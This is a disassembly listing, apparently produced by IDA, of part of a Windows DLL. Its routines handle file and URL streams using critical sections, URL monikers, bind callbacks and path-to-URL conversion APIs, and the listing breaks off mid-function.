mov eax, [esi+38h]
cmp eax, 0FFFFFFFFh
jnz short loc_69B39FCA
call ds:GetLastError
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_69B39FC1
cmp eax, 2
jz short loc_69B39FC1
cmp eax, ebx
jle short loc_69B39FED
loc_69B39FB2: ; CODE XREF: sub_69B39E9F+F3j
and eax, 0FFFFh
or eax, 80070000h
loc_69B39FBC: ; CODE XREF: sub_69B39E9F+EFj
mov [ebp+var_4], eax
jmp short loc_69B39FED
; ---------------------------------------------------------------------------
loc_69B39FC1: ; CODE XREF: sub_69B39E9F+108j
; sub_69B39E9F+10Dj
mov [ebp+var_4], 800C0006h
jmp short loc_69B39FED
; ---------------------------------------------------------------------------
loc_69B39FCA: ; CODE XREF: sub_69B39E9F+FBj
push eax ; hFile
call ds:GetFileType ; GetFileType
sub eax, ebx
jz short loc_69B39FD9
dec eax
dec eax
jnz short loc_69B39FED
loc_69B39FD9: ; CODE XREF: sub_69B39E9F+134j
push dword ptr [esi+38h] ; hObject
call ds:CloseHandle ; CloseHandle
or dword ptr [esi+38h], 0FFFFFFFFh
mov [ebp+var_4], 80070005h
loc_69B39FED: ; CODE XREF: sub_69B39E9F+A2j
; sub_69B39E9F+111j ...
push [ebp+var_14]
call sub_69B1B2B7
push [ebp+lpWideCharStr]
call sub_69B1B2B7
mov eax, [ebp+var_4]
pop edi
loc_69B3A001: ; CODE XREF: sub_69B39E9F+26j
pop esi
pop ebx
leave
retn 4
sub_69B39E9F endp
; =============== S U B R O U T I N E =======================================
sub_69B3A007 proc near ; DATA XREF: .text:69B12338o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [eax+2Ch]
test ecx, ecx
jz short loc_69B3A01E
push [esp+arg_4]
mov eax, [ecx]
push ecx
call dword ptr [eax+20h]
jmp short loc_69B3A033
; ---------------------------------------------------------------------------
loc_69B3A01E: ; CODE XREF: sub_69B3A007+9j
mov ecx, [eax+38h]
cmp ecx, 0FFFFFFFFh
jz short loc_69B3A033
cmp byte ptr [eax+35h], 0
jz short loc_69B3A033
push ecx ; hFile
call ds:FlushFileBuffers ; FlushFileBuffers
loc_69B3A033: ; CODE XREF: sub_69B3A007+15j
; sub_69B3A007+1Dj ...
xor eax, eax
retn 8
sub_69B3A007 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3A038(int, LPVOID lpBuffer, DWORD NumberOfBytesRead, int)
sub_69B3A038 proc near ; DATA XREF: .text:69B12324o
arg_0 = dword ptr 8
lpBuffer = dword ptr 0Ch
NumberOfBytesRead= dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push edi
lea edi, [esi+10h]
push edi ; lpCriticalSection
call ds:EnterCriticalSection
cmp [ebp+NumberOfBytesRead], 0
jnz short loc_69B3A058
xor esi, esi
inc esi
jmp loc_69B3A0E2
; ---------------------------------------------------------------------------
loc_69B3A058: ; CODE XREF: sub_69B3A038+16j
cmp byte ptr [esi+34h], 0
jz short loc_69B3A0AA
push 0 ; lpOverlapped
lea eax, [ebp+NumberOfBytesRead]
push eax ; lpNumberOfBytesRead
push [ebp+NumberOfBytesRead] ; nNumberOfBytesToRead
push [ebp+lpBuffer] ; lpBuffer
push dword ptr [esi+38h] ; hFile
call ds:ReadFile ; ReadFile
test eax, eax
jnz short loc_69B3A095
mov esi, ds:GetLastError
call esi ; GetLastError
test eax, eax
jg short loc_69B3A087
call esi ; GetLastError
jmp short loc_69B3A0E0
; ---------------------------------------------------------------------------
loc_69B3A087: ; CODE XREF: sub_69B3A038+49j
call esi ; GetLastError
and eax, 0FFFFh
or eax, 80070000h
jmp short loc_69B3A0E0
; ---------------------------------------------------------------------------
loc_69B3A095: ; CODE XREF: sub_69B3A038+3Dj
mov eax, [ebp+arg_C]
test eax, eax
mov ecx, [ebp+NumberOfBytesRead]
jz short loc_69B3A0A1
mov [eax], ecx
loc_69B3A0A1: ; CODE XREF: sub_69B3A038+65j
xor eax, eax
test ecx, ecx
setz al
jmp short loc_69B3A0E0
; ---------------------------------------------------------------------------
loc_69B3A0AA: ; CODE XREF: sub_69B3A038+24j
mov eax, [esi+2Ch]
test eax, eax
jnz short loc_69B3A0B6
mov esi, [esi+3Ch]
jmp short loc_69B3A0E2
; ---------------------------------------------------------------------------
loc_69B3A0B6: ; CODE XREF: sub_69B3A038+77j
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_69B3A0CE
cmp ecx, 8000000Ah
jz short loc_69B3A0CE
cmp ecx, 1
jz short loc_69B3A0CE
mov esi, ecx
jmp short loc_69B3A0E2
; ---------------------------------------------------------------------------
loc_69B3A0CE: ; CODE XREF: sub_69B3A038+83j
; sub_69B3A038+8Bj ...
push [ebp+arg_C]
mov ecx, [eax]
push [ebp+NumberOfBytesRead]
push [ebp+lpBuffer]
push eax
call dword ptr [ecx+0Ch]
mov [esi+3Ch], eax
loc_69B3A0E0: ; CODE XREF: sub_69B3A038+4Dj
; sub_69B3A038+5Bj ...
mov esi, eax
loc_69B3A0E2: ; CODE XREF: sub_69B3A038+1Bj
; sub_69B3A038+7Cj ...
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
mov eax, esi
pop esi
pop ebp
retn 10h
sub_69B3A038 endp
; =============== S U B R O U T I N E =======================================
sub_69B3A0F1 proc near ; CODE XREF: sub_69B3AB4E+62p
; sub_69B3AB4E+8Cp ...
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
lea edi, [esi+10h]
push edi ; lpCriticalSection
call ds:EnterCriticalSection
mov eax, [esp+8+arg_0]
push edi ; lpCriticalSection
mov [esi+3Ch], eax
call ds:LeaveCriticalSection
pop edi
pop esi
retn 4
sub_69B3A0F1 endp
; =============== S U B R O U T I N E =======================================
sub_69B3A112 proc near ; CODE XREF: sub_69B3AB4E+51p
; sub_69B3B01F+E2p ...
push esi
push edi
mov esi, ecx
lea edi, [esi+10h]
push edi ; lpCriticalSection
call ds:EnterCriticalSection
mov esi, [esi+3Ch]
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
mov eax, esi
pop esi
retn
sub_69B3A112 endp
; =============== S U B R O U T I N E =======================================
sub_69B3A12F proc near ; CODE XREF: sub_69B384B3+4Fp
; sub_69B3A189+1Ej ...
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi+30h]
mov ecx, [edi]
xor ebx, ebx
cmp ecx, ebx
mov [esi+40h], ebx
jz short loc_69B3A14E
call sub_69B3AF8C
push ebx
push edi
call sub_69B17320
loc_69B3A14E: ; CODE XREF: sub_69B3A12F+11j
push ebx
lea eax, [esi+2Ch]
push eax
call sub_69B17320
mov eax, [esi+38h]
cmp eax, 0FFFFFFFFh
mov [esi+3Ch], ebx
jz short loc_69B3A185
cmp [esi+35h], bl
jz short loc_69B3A178
push eax ; hFile
call ds:SetEndOfFile ; SetEndOfFile
push dword ptr [esi+38h] ; hFile
call ds:FlushFileBuffers ; FlushFileBuffers
loc_69B3A178: ; CODE XREF: sub_69B3A12F+37j
push dword ptr [esi+38h] ; hObject
call ds:CloseHandle ; CloseHandle
or dword ptr [esi+38h], 0FFFFFFFFh
loc_69B3A185: ; CODE XREF: sub_69B3A12F+32j
pop edi
pop esi
pop ebx
retn
sub_69B3A12F endp
; =============== S U B R O U T I N E =======================================
sub_69B3A189 proc near ; CODE XREF: sub_69B378CA+74p
push esi
push edi
mov edi, ecx
lea esi, [edi+30h]
mov ecx, [esi]
test ecx, ecx
jz short loc_69B3A19B
call sub_69B3AFB0
loc_69B3A19B: ; CODE XREF: sub_69B3A189+Bj
push 0
push esi
call sub_69B17320
mov ecx, edi
pop edi
pop esi
jmp short sub_69B3A12F
sub_69B3A189 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3A1A9(LPMONIKER ppmk, int, int)
sub_69B3A1A9 proc near ; CODE XREF: sub_69B3A3DD+74p
; sub_69B3A45B+5Ap
ppBSCBPrev = dword ptr -0Ch
pBC = dword ptr -8
var_4 = dword ptr -4
ppmk = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_8], 3
push ebx
push esi
push edi
mov esi, ecx
jz loc_69B3A30F
cmp [ebp+arg_8], 2
jz loc_69B3A30F
xor ebx, ebx
cmp [ebp+ppmk], ebx
push 38h
mov [ebp+ppBSCBPrev], ebx
mov [ebp+var_4], ebx
setz byte ptr [ebp+arg_8+3]
call sub_69B11E44
cmp eax, ebx
jz short loc_69B3A1EE
push esi
mov ecx, eax
call sub_69B3B210
mov edi, eax
jmp short loc_69B3A1F0
; ---------------------------------------------------------------------------
loc_69B3A1EE: ; CODE XREF: sub_69B3A1A9+37j
xor edi, edi
loc_69B3A1F0: ; CODE XREF: sub_69B3A1A9+43j
cmp edi, ebx
jnz short loc_69B3A1FE
mov eax, 8007000Eh
jmp loc_69B3A314
; ---------------------------------------------------------------------------
loc_69B3A1FE: ; CODE XREF: sub_69B3A1A9+49j
lea eax, [esi+30h]
push edi
push eax
call sub_69B17320
mov eax, [edi]
push edi
call dword ptr [eax+8]
mov eax, [ebp+arg_4]
cmp eax, ebx
mov [ebp+pBC], eax
jnz short loc_69B3A231
lea eax, [ebp+pBC]
push eax ; ppbc
push ebx ; reserved
call ds:CreateBindCtx
mov ebx, eax
test ebx, ebx
jl loc_69B3A2B3
xor ebx, ebx
jmp short loc_69B3A237
; ---------------------------------------------------------------------------
loc_69B3A231: ; CODE XREF: sub_69B3A1A9+6Dj
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B3A237: ; CODE XREF: sub_69B3A1A9+86j
push ebx ; dwReserved
lea eax, [ebp+ppBSCBPrev]
push eax ; ppBSCBPrev
push edi ; pBSCb
push [ebp+pBC] ; pBC
call RegisterBindStatusCallback
mov ebx, eax
test ebx, ebx
jl short loc_69B3A2B3
push [ebp+ppBSCBPrev]
add edi, 1Ch
push edi
call sub_69B17320
mov eax, [ebp+ppBSCBPrev]
test eax, eax
jz short loc_69B3A264
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B3A264: ; CODE XREF: sub_69B3A1A9+B3j
cmp byte ptr [ebp+arg_8+3], 0
jz short loc_69B3A286
mov eax, [esi+28h]
mov ecx, [eax+8]
mov eax, [eax+10h]
lea edx, [ebp+ppmk]
push edx ; ppmk
push ecx ; szURL
push eax ; pMkCtx
call CreateURLMoniker
mov ebx, eax
test ebx, ebx
jl short loc_69B3A2B3
jmp short loc_69B3A28F
; ---------------------------------------------------------------------------
loc_69B3A286: ; CODE XREF: sub_69B3A1A9+BFj
mov eax, [ebp+ppmk]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B3A28F: ; CODE XREF: sub_69B3A1A9+DBj
mov eax, [ebp+ppmk]
lea edx, [ebp+var_4]
push edx
push offset dword_69B2AFF0
push 0
push [ebp+pBC]
mov dword ptr [esi+3Ch], 8000000Ah
mov ecx, [eax]
push eax
call dword ptr [ecx+24h]
mov ebx, eax
test ebx, ebx
jge short loc_69B3A2D1
loc_69B3A2B3: ; CODE XREF: sub_69B3A1A9+7Ej
; sub_69B3A1A9+A0j ...
push 0
lea eax, [esi+30h]
push eax
call sub_69B17320
mov esi, [esi+3Ch]
cmp esi, 8000000Ah
jz short loc_69B3A2F1
test esi, esi
jge short loc_69B3A2F1
mov ebx, esi
jmp short loc_69B3A2F1
; ---------------------------------------------------------------------------
loc_69B3A2D1: ; CODE XREF: sub_69B3A1A9+108j
xor ebx, ebx
cmp [ebp+var_4], ebx
jz short loc_69B3A2F1
add esi, 2Ch
cmp [esi], ebx
jnz short loc_69B3A2E8
push [ebp+var_4]
push esi
call sub_69B17320
loc_69B3A2E8: ; CODE XREF: sub_69B3A1A9+134j
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B3A2F1: ; CODE XREF: sub_69B3A1A9+11Ej
; sub_69B3A1A9+122j ...
mov eax, [ebp+pBC]
test eax, eax
jz short loc_69B3A2FE
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B3A2FE: ; CODE XREF: sub_69B3A1A9+14Dj
mov eax, [ebp+ppmk]
test eax, eax
jz short loc_69B3A30B
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B3A30B: ; CODE XREF: sub_69B3A1A9+15Aj
mov eax, ebx
jmp short loc_69B3A314
; ---------------------------------------------------------------------------
loc_69B3A30F: ; CODE XREF: sub_69B3A1A9+Fj
; sub_69B3A1A9+19j
mov eax, 80070057h
loc_69B3A314: ; CODE XREF: sub_69B3A1A9+50j
; sub_69B3A1A9+164j
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B3A1A9 endp
; =============== S U B R O U T I N E =======================================
sub_69B3A31B proc near ; CODE XREF: sub_69B3AB4E+3Fp
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
lea edi, [esi+10h]
push edi ; lpCriticalSection
call ds:EnterCriticalSection
push [esp+8+arg_0]
add esi, 2Ch
push esi
call sub_69B17320
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
pop esi
retn 4
sub_69B3A31B endp
; =============== S U B R O U T I N E =======================================
sub_69B3A342 proc near ; CODE XREF: sub_69B3937E+52p
; sub_69B39507+79p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
mov esi, ecx
call sub_69B3677A
mov ecx, [esp+4+arg_0]
xor eax, eax
mov dword ptr [esi], offset off_69B12318
mov dword ptr [esi+4], offset off_69B27788
mov [esi+2Ch], eax
mov [esi+30h], eax
or dword ptr [esi+38h], 0FFFFFFFFh
mov [esi+28h], eax
mov [esi+3Ch], eax
mov [esi+44h], eax
mov al, [esp+4+arg_4]
mov [esi+48h], al
lea eax, [esi+10h]
push eax ; lpCriticalSection
mov [esi+40h], ecx
call ds:InitializeCriticalSection ; InitializeCriticalSection
mov eax, esi
pop esi
retn 8
sub_69B3A342 endp
; =============== S U B R O U T I N E =======================================
sub_69B3A38A proc near ; CODE XREF: .text:69B3A55Fp
push esi
mov esi, ecx
lea ecx, [esi-4]
push edi
mov dword ptr [ecx], offset off_69B12318
mov dword ptr [esi], offset off_69B27788
call sub_69B3A12F
mov edi, [esi+24h]
test edi, edi
jz short loc_69B3A3B6
mov ecx, edi
call sub_69B3A8F3
push edi
call sub_69B1B2B7
loc_69B3A3B6: ; CODE XREF: sub_69B3A38A+1Dj
and dword ptr [esi+24h], 0
lea eax, [esi+0Ch]
push eax ; lpCriticalSection
call ds:DeleteCriticalSection
lea eax, [esi+2Ch]
push eax
call sub_69B17230
add esi, 28h
push esi
call sub_69B17230
pop edi
pop esi
jmp sub_69B2C65C
sub_69B3A38A endp
; =============== S U B R O U T I N E =======================================
sub_69B3A3DD proc near ; CODE XREF: sub_69B3937E+147p
; sub_69B3A4BF+5Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push edi
mov edi, [esi+40h]
call sub_69B3A12F
push 14h
mov [esi+40h], edi
call sub_69B11E44
test eax, eax
jz short loc_69B3A404
push [esp+8+arg_0]
mov ecx, eax
call sub_69B3A6BD
jmp short loc_69B3A406
; ---------------------------------------------------------------------------
loc_69B3A404: ; CODE XREF: sub_69B3A3DD+18j
xor eax, eax
loc_69B3A406: ; CODE XREF: sub_69B3A3DD+25j
test eax, eax
mov [esi+28h], eax
jnz short loc_69B3A414
mov eax, 8007000Eh
jmp short loc_69B3A456
; ---------------------------------------------------------------------------
loc_69B3A414: ; CODE XREF: sub_69B3A3DD+2Ej
push 0 ; lpszUrl
mov ecx, esi
call sub_69B39E07
test eax, eax
jl short loc_69B3A456
mov edi, [esp+8+arg_4]
mov ecx, [esi+28h]
mov [esi+44h], edi
call sub_69B3A57B
test al, al
jz short loc_69B3A446
test edi, edi
jz short loc_69B3A446
push edi
mov ecx, esi
mov byte ptr [esi+34h], 1
call sub_69B39E9F
jmp short loc_69B3A456
; ---------------------------------------------------------------------------
loc_69B3A446: ; CODE XREF: sub_69B3A3DD+55j
; sub_69B3A3DD+59j
push edi ; int
push 0 ; int
push 0 ; ppmk
mov ecx, esi
mov byte ptr [esi+34h], 0
call sub_69B3A1A9
loc_69B3A456: ; CODE XREF: sub_69B3A3DD+35j
; sub_69B3A3DD+42j ...
pop edi
pop esi
retn 8
sub_69B3A3DD endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B3A45B(LPMONIKER ppmk, int, int, int)
sub_69B3A45B proc near ; CODE XREF: sub_69B39507+121p
ppmk = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
mov esi, ecx
push edi
mov edi, [esi+40h]
call sub_69B3A12F
push 14h
mov [esi+40h], edi
mov byte ptr [esi+34h], 0
call sub_69B11E44
test eax, eax
jz short loc_69B3A486
push [esp+8+arg_8]
mov ecx, eax
call sub_69B3A6BD
jmp short loc_69B3A488
; ---------------------------------------------------------------------------
loc_69B3A486: ; CODE XREF: sub_69B3A45B+1Cj
xor eax, eax
loc_69B3A488: ; CODE XREF: sub_69B3A45B+29j
test eax, eax
mov [esi+28h], eax
jnz short loc_69B3A496
mov eax, 8007000Eh
jmp short loc_69B3A4BA
; ---------------------------------------------------------------------------
loc_69B3A496: ; CODE XREF: sub_69B3A45B+32j
push 0 ; lpszUrl
mov ecx, esi
call sub_69B39E07
test eax, eax
jl short loc_69B3A4BA
mov eax, [esp+8+arg_C]
push eax ; int
push [esp+0Ch+arg_4] ; int
mov ecx, esi
push [esp+10h+ppmk] ; ppmk
mov [esi+44h], eax
call sub_69B3A1A9
loc_69B3A4BA: ; CODE XREF: sub_69B3A45B+39j
; sub_69B3A45B+46j
pop edi
pop esi
retn 10h
sub_69B3A45B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3A4BF(LPCWSTR lpString, int, int, int)
sub_69B3A4BF proc near ; CODE XREF: sub_69B3E662+5Dp
var_14 = byte ptr -14h
lpString = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 4Ch
call sub_69B1D897
test eax, eax
jz short loc_69B3A4E0
push 0
push 0
mov ecx, eax
call sub_69B3A342
mov esi, eax
jmp short loc_69B3A4E2
; ---------------------------------------------------------------------------
loc_69B3A4E0: ; CODE XREF: sub_69B3A4BF+10j
xor esi, esi
loc_69B3A4E2: ; CODE XREF: sub_69B3A4BF+1Fj
test esi, esi
jnz short loc_69B3A4ED
mov eax, 8007000Eh
jmp short loc_69B3A557
; ---------------------------------------------------------------------------
loc_69B3A4ED: ; CODE XREF: sub_69B3A4BF+25j
push edi
lea ecx, [ebp+var_14]
call sub_69B3A66D
push [ebp+arg_4] ; int
lea ecx, [ebp+var_14]
push [ebp+lpString] ; lpString
call sub_69B3A709
mov edi, eax
test edi, edi
jl short loc_69B3A539
mov eax, [ebp+arg_8]
neg eax
sbb eax, eax
and eax, 2
push eax
lea eax, [ebp+var_14]
push eax
mov ecx, esi
call sub_69B3A3DD
mov edi, eax
test edi, edi
jl short loc_69B3A539
push [ebp+arg_C]
mov eax, [esi]
push offset dword_69B2AFF0
push esi
call dword ptr [eax]
mov edi, eax
test edi, edi
jge short loc_69B3A544
loc_69B3A539: ; CODE XREF: sub_69B3A4BF+49j
; sub_69B3A4BF+65j
lea ecx, [esi+4]
mov eax, [ecx]
push 1
call dword ptr [eax]
jmp short loc_69B3A54C
; ---------------------------------------------------------------------------
loc_69B3A544: ; CODE XREF: sub_69B3A4BF+78j
mov eax, [esi]
push esi
call dword ptr [eax+8]
xor edi, edi
loc_69B3A54C: ; CODE XREF: sub_69B3A4BF+83j
lea ecx, [ebp+var_14]
call sub_69B3A8F3
mov eax, edi
pop edi
loc_69B3A557: ; CODE XREF: sub_69B3A4BF+2Cj
pop esi
leave
retn 10h
sub_69B3A4BF endp
; ---------------------------------------------------------------------------
loc_69B3A55C: ; DATA XREF: .text:off_69B27788o
push esi
mov esi, ecx
call sub_69B3A38A
test byte ptr [esp+8], 1
jz short loc_69B3A574
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B3A574: ; CODE XREF: .text:69B3A569j
lea eax, [esi-4]
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B3A57B proc near ; CODE XREF: sub_69B3A3DD+4Ep
push 3
push dword ptr [ecx+8]
call ds:UrlIsW ; UrlIsW
neg eax
sbb eax, eax
neg eax
retn
sub_69B3A57B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3A58D(LPCWSTR lpszUrl)
sub_69B3A58D proc near ; CODE XREF: sub_69B39C17+137p
; sub_69B39C17+141p
UrlComponents = $2B4FDC4BF487E67F052937EE78FAE255 ptr -3Ch
lpszUrl = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3Ch
push edi
push 0Fh
pop ecx
xor eax, eax
lea edi, [ebp+UrlComponents]
rep stosd
inc eax
mov [ebp+UrlComponents.dwSchemeLength], eax
mov [ebp+UrlComponents.dwHostNameLength], eax
mov [ebp+UrlComponents.dwUrlPathLength], eax
lea eax, [ebp+UrlComponents]
push eax ; lpUrlComponents
push 0 ; dwFlags
push 0 ; dwUrlLength
push [ebp+lpszUrl] ; lpszUrl
mov [ebp+UrlComponents.dwStructSize], 3Ch
call InternetCrackUrlW ; InternetCrackUrlW
test eax, eax
pop edi
jz short loc_69B3A5CA
mov eax, [ebp+UrlComponents.nScheme]
jmp short locret_69B3A5CD
; ---------------------------------------------------------------------------
loc_69B3A5CA: ; CODE XREF: sub_69B3A58D+36j
or eax, 0FFFFFFFFh
locret_69B3A5CD: ; CODE XREF: sub_69B3A58D+3Bj
leave
retn 4
sub_69B3A58D endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B3A5D1(LPCWSTR lpString)
sub_69B3A5D1 proc near ; CODE XREF: sub_69B3A627+34p
; sub_69B3A709+16Dp
lpString = dword ptr 4
push esi
push edi
mov edi, [esp+8+lpString]
push edi ; lpString
call sub_69B8AADD
mov esi, eax
test esi, esi
jz short loc_69B3A5ED
push edi
call sub_69B1B2B7
mov eax, esi
jmp short loc_69B3A5EF
; ---------------------------------------------------------------------------
loc_69B3A5ED: ; CODE XREF: sub_69B3A5D1+10j
mov eax, edi
loc_69B3A5EF: ; CODE XREF: sub_69B3A5D1+1Aj
pop edi
pop esi
retn 4
sub_69B3A5D1 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B3A5F4(LPCWSTR lpString)
sub_69B3A5F4 proc near ; CODE XREF: sub_69B3937E+115p
; sub_69B39507+DDp
lpString = dword ptr 4
push esi
mov esi, ecx
push dword ptr [esi+0Ch]
call sub_69B1B2B7
and dword ptr [esi+0Ch], 0
cmp [esp+4+lpString], 0
jz short loc_69B3A621
push [esp+4+lpString] ; lpString
call sub_69B8AADD
test eax, eax
mov [esi+0Ch], eax
jnz short loc_69B3A621
mov eax, 8007000Eh
jmp short loc_69B3A623
; ---------------------------------------------------------------------------
loc_69B3A621: ; CODE XREF: sub_69B3A5F4+14j
; sub_69B3A5F4+24j
xor eax, eax
loc_69B3A623: ; CODE XREF: sub_69B3A5F4+2Bj
pop esi
retn 4
sub_69B3A5F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3A627 proc near ; CODE XREF: sub_69B39E9F+15p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 2000h
mov esi, ecx
mov [ebp+var_4], 1000h
call sub_69B11E44
mov edi, eax
test edi, edi
jz short loc_69B3A667
push 0
lea eax, [ebp+var_4]
push eax
push edi
push dword ptr [esi+8]
call ds:PathCreateFromUrlW ; PathCreateFromUrlW
test eax, eax
push edi ; lpString
jl short loc_69B3A662
call sub_69B3A5D1
jmp short loc_69B3A669
; ---------------------------------------------------------------------------
loc_69B3A662: ; CODE XREF: sub_69B3A627+32j
call sub_69B1B2B7
loc_69B3A667: ; CODE XREF: sub_69B3A627+1Dj
xor eax, eax
loc_69B3A669: ; CODE XREF: sub_69B3A627+39j
pop edi
pop esi
leave
retn
sub_69B3A627 endp
; =============== S U B R O U T I N E =======================================
sub_69B3A66D proc near ; CODE XREF: sub_69B3937E+Ep
; sub_69B39507+47p ...
push esi
mov esi, ecx
xor ecx, ecx
lea eax, [esi+10h]
mov [eax], ecx
push ecx
push eax
mov [esi+8], ecx
mov [esi+4], ecx
mov [esi], ecx
mov [esi+0Ch], ecx
call sub_69B17320
mov eax, esi
pop esi
retn
sub_69B3A66D endp
; =============== S U B R O U T I N E =======================================
sub_69B3A68D proc near ; CODE XREF: sub_69B3A709+15p
; sub_69B3A8F3+3p ...
push esi
mov esi, ecx
push dword ptr [esi]
call sub_69B1B2B7
push dword ptr [esi+4]
call sub_69B1B2B7
push dword ptr [esi+8]
call sub_69B1B2B7
xor eax, eax
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
push eax
add esi, 10h
push esi
call sub_69B17320
pop esi
retn
sub_69B3A68D endp
; =============== S U B R O U T I N E =======================================
sub_69B3A6BD proc near ; CODE XREF: sub_69B3A3DD+20p
; sub_69B3A45B+24p
arg_0 = dword ptr 4
push ebx
push esi
mov esi, ecx
push edi
mov edi, [esp+0Ch+arg_0]
lea ebx, [esi+10h]
and dword ptr [ebx], 0
push dword ptr [edi] ; lpString
call sub_69B8AADD
mov [esi], eax
push dword ptr [edi+4] ; lpString
call sub_69B8AADD
mov [esi+4], eax
push dword ptr [edi+8] ; lpString
call sub_69B8AADD
mov [esi+8], eax
push dword ptr [edi+0Ch] ; lpString
call sub_69B8AADD
add edi, 10h
push edi
mov ecx, ebx
mov [esi+0Ch], eax
call sub_69B4D414
pop edi
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B3A6BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3A709(LPCWSTR lpString, int)
sub_69B3A709 proc near ; CODE XREF: sub_69B37FBC+B1p
; sub_69B37FBC+C7p ...
var_10 = dword ptr -10h
pv = dword ptr -0Ch
ppmk = dword ptr -8
var_4 = dword ptr -4
lpString = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
xor edi, edi
mov esi, ecx
mov [ebp+var_4], edi
mov [ebp+ppmk], edi
mov [ebp+pv], edi
call sub_69B3A68D
lea eax, [ebp+var_4]
push eax ; int
push [ebp+lpString] ; lpString
call sub_69B8AB20
cmp [ebp+var_4], edi
mov [esi], eax
jl loc_69B3A88E
mov eax, [ebp+arg_4]
cmp eax, edi
jz loc_69B3A7E6
cmp [eax], di
jz loc_69B3A7E6
lea ecx, [ebp+var_4]
push ecx ; int
push eax ; lpString
call sub_69B8AB20
cmp [ebp+var_4], edi
mov [esi+4], eax
jl loc_69B3A88E
lea ecx, [ebp+ppmk]
push ecx ; ppmk
push eax ; szURL
push edi ; pMkCtx
call CreateURLMoniker
cmp eax, edi
mov [ebp+var_4], eax
jl loc_69B3A88E
push [ebp+ppmk]
lea edi, [esi+10h]
push edi
call sub_69B17320
mov eax, [ebp+ppmk]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov edi, [edi]
lea eax, [ebp+ppmk]
push eax ; ppmk
push [ebp+lpString] ; szURL
push edi ; pMkCtx
call CreateURLMoniker
test eax, eax
mov [ebp+var_4], eax
jl loc_69B3A88E
mov eax, [ebp+ppmk]
mov ecx, [eax]
lea edx, [ebp+pv]
push edx
push eax
push 0
push eax
call dword ptr [ecx+50h]
test eax, eax
mov [ebp+var_4], eax
jl short loc_69B3A7D8
lea eax, [ebp+var_4]
push eax ; int
push [ebp+pv] ; lpString
call sub_69B8AB20
push [ebp+pv] ; pv
mov [esi+8], eax
call ds:CoTaskMemFree
loc_69B3A7D8: ; CODE XREF: sub_69B3A709+B5j
mov eax, [ebp+ppmk]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp loc_69B3A88E
; ---------------------------------------------------------------------------
loc_69B3A7E6: ; CODE XREF: sub_69B3A709+36j
; sub_69B3A709+3Fj
push [ebp+lpString] ; pszPath
call ds:PathIsURLW ; PathIsURLW
test eax, eax
jz short loc_69B3A807
lea eax, [ebp+var_4]
push eax ; int
push [ebp+lpString] ; lpString
call sub_69B8AB20
mov [esi+8], eax
jmp loc_69B3A88E
; ---------------------------------------------------------------------------
loc_69B3A807: ; CODE XREF: sub_69B3A709+E8j
push ebx
mov ebx, 2000h
push ebx
call sub_69B11E44
cmp eax, edi
mov [esi+8], eax
jnz short loc_69B3A823
loc_69B3A81A: ; CODE XREF: sub_69B3A709+13Fj
mov [ebp+var_4], 8007000Eh
jmp short loc_69B3A88D
; ---------------------------------------------------------------------------
loc_69B3A823: ; CODE XREF: sub_69B3A709+10Fj
push 0
lea ecx, [ebp+var_10]
push ecx
push eax
push [ebp+lpString]
mov edi, 1000h
mov [ebp+var_10], edi
call ds:UrlUnescapeW ; UrlUnescapeW
push ebx
mov [ebp+var_4], eax
call sub_69B11E44
mov ebx, eax
test ebx, ebx
jz short loc_69B3A81A
push edi ; cchBuf
push ebx ; pszBuf
push dword ptr [esi+8] ; pszPath
call ds:PathSearchAndQualifyW ; PathSearchAndQualifyW
test eax, eax
jz short loc_69B3A880
push 0
lea eax, [ebp+var_10]
push eax
push dword ptr [esi+8]
mov [ebp+var_10], edi
push ebx
call ds:UrlCreateFromPathW ; UrlCreateFromPathW
test eax, eax
mov [ebp+var_4], eax
jl short loc_69B3A887
